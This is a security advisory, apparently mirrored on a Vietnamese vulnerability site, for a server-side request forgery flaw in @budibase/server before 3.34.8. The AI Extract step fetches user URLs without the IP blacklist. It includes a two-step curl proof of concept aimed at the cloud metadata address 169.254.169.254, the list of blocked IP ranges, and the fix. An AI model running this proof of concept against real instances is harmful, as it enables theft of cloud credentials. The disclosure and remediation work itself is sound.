| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| @budibase/server | < 3.34.8 | 3.34.8 |
CWE-918: Server-Side Request Forgery (SSRF)
The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.
packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetch(fileUrl) // NO blacklist check!
// ...
const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!
}
Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:
steps/slack.ts:19: response = await fetchWithBlacklist(url, {...})steps/discord.ts:28: response = await fetchWithBlacklist(url, {...})steps/zapier.ts:33: response = await fetchWithBlacklist(url, {...})steps/n8n.ts:53: response = await fetchWithBlacklist(url, request)steps/outgoingWebhook.ts: response = await fetchWithBlacklist(url, {...})steps/make.ts: response = await fetchWithBlacklist(url, {...})The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:
127.0.0.0/8 (loopback)10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)169.254.0.0/16 (link-local / cloud metadata)The AI Extract File step bypasses all of these protections.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíURLhttp://169.254.169.254/latest/meta-data/ (or any internal IP)# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
"http://BUDIBASE_HOST/api/global/auth/default/login" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'
# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
"http://BUDIBASE_HOST/api/automations" \
-X POST -H "Content-Type: application/json" \
-H "x-budibase-app-id: YOUR_APP_ID" \
-d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'
Compare the vulnerable function with the safe pattern used everywhere else:
VULNERABLE (no blacklist):
packages/server/src/automations/steps/ai/extract.ts:116
const response = await fetch(fileUrl)
SAFE (with blacklist) - every other step:
packages/server/src/automations/steps/slack.ts:19
response = await fetchWithBlacklist(url, {...})
packages/server/src/automations/steps/discord.ts:28
response = await fetchWithBlacklist(url, {...})
Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist()
Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.
An authenticated user with builder permissions can:
In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.
Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:
import { fetchWithBlacklist } from "../utils"
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Use blacklist
// ...
const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist
}